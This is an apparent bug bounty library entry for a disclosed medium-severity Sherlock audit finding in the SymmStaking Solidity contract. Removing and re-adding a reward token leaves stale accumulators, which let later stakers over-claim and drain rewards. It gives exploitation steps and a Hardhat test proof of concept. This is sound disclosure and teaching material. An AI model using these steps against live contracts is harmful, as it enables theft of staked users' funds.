# Readding the reward token causes userRewardPerTokenPaid to be incorrect for some users, resulting in them receiving too many rewards.

Removing a reward token leaves perTokenStored stale; users who stake while it's absent get userRewardPerTokenPaid=0 and over-claim rewards on re-add.

- Payout: Audit contest
- Severity: medium
- Program: Symm Io Stacking
- Found by: 0x23r0
- Disclosed: 2025-03-05
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2025-03-symm-io-stacking-judging/issues/124
- Library page: https://bugbountylibrary.com/r/sherlock%3A2025-03-symm-io-stacking%3AM-2
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:medium tech:solidity technique:source-review vuln:accounting-error vuln:reward-distribution

**Target:** Solidity staking contract reward accounting (SymmStaking.sol)
**Root cause:** configureRewardToken removal only deletes the token from rewardTokens without resetting perTokenStored/userRewardPerTokenPaid state; on re-add the old perTokenStored persists while users who deposited during the gap have userRewardPerTokenPaid=0.
**Steps:**
1. Add USDC as reward token via `configureRewardToken(usdc, true)`
2. User1 deposits 100 SYMM; notify 604800 USDC rewards; advance time; User1 claims
3. Remove token via `configureRewardToken(usdc, false)` (perTokenStored retained)
4. User2 deposits 100 SYMM while token absent (userRewardPerTokenPaid stays 0)
5. Re-add token via `configureRewardToken(usdc, true)`; notify new rewards
6. Advance time; User2 claims and receives rewards accrued from the first period too, draining pool
**How found:** Code review of configureRewardToken removal path noticing it only removes from the list without clearing accounting state, then reasoning that _updateRewardsState skips tokens not in rewardTokens, leaving userRewardPerTokenPaid stale at 0.
**Exploitation:** Any user staking during the removal window inherits the full historical perTokenStored on re-add, claiming rewards they never accrued and starving earlier stakers; subsequent claims revert due to insufficient balance, blocking all reward tokens.
**Insight:** When a token/asset can be removed and re-added to a reward or accounting set, check whether per-token accumulators (perTokenStored, userRewardPerTokenPaid) are reset on removal; stale accumulators plus skipped updates for absent tokens create over-claim windows.

## Proof of concept (copied exactly from the original report)

**Hardhat test reproducing reward token re-add bug**

```
it("readding token", async () => {
		//Reward token is added for the first time
		await symmStaking.connect(admin).configureRewardToken(await usdcToken.getAddress(), true)

		//User1 stakes 100 SYMM
		await stakingToken.connect(user1).approve(await symmStaking.getAddress(), e("100"))
		await symmStaking.connect(user1).deposit(e("100"), user1.address)
		
		//604.8 USDC are notified as rewards
		await usdcToken.approve(await symmStaking.getAddress(), 604800*1000)
		await symmStaking.notifyRewardAmount([await usdcToken.getAddress()], [604800*1000])

		time.increaseTo(await time.latest() + 2*30*24*60*60) //Wait 2 months
		
		await symmStaking.connect(user1).claimRewards() //User1 claims his rewards

		await symmStaking.connect(admin).configureRewardToken(await usdcToken.getAddress(), false) //The reward token gets removed

		time.increaseTo(await time.latest() + 24*60*60) //Wait 1 day
		
		//User2 stakes 100 SYMM
		await stakingToken.connect(user2).approve(await symmStaking.getAddress(), e("100"))
		await symmStaking.connect(user2).deposit(e("100"), user2.address)

		time.increaseTo(await time.latest() + 24*60*60) //Wait 3 months

		await symmStaking.connect(admin).configureRewardToken(await usdcToken.getAddress(), true) //Reward token is added for the second time
		
		//1209.6 USDC are notified as rewards
		await usdcToken.approve(await symmStaking.getAddress(), 604800*1000*2)
		await symmStaking.notifyRewardAmount([await usdcToken.getAddress()], [604800*1000*2])

		time.increaseTo(await time.latest() + 2*7*24*60*60) //Wait 2 weeks
		
		//Shows that user2 gets all pending rewards and there is nothing left for user1
		console.log("symmStaking pendingRewards before: ", await symmStaking.pendingRewards(await usdcToken.getAddress()))
		await symmStaking.connect(user2).claimRewards()
		console.log("symmStaking pendingRewards after: ", await symmStaking.pendingRewards(await usdcToken.getAddress()))
	})
```

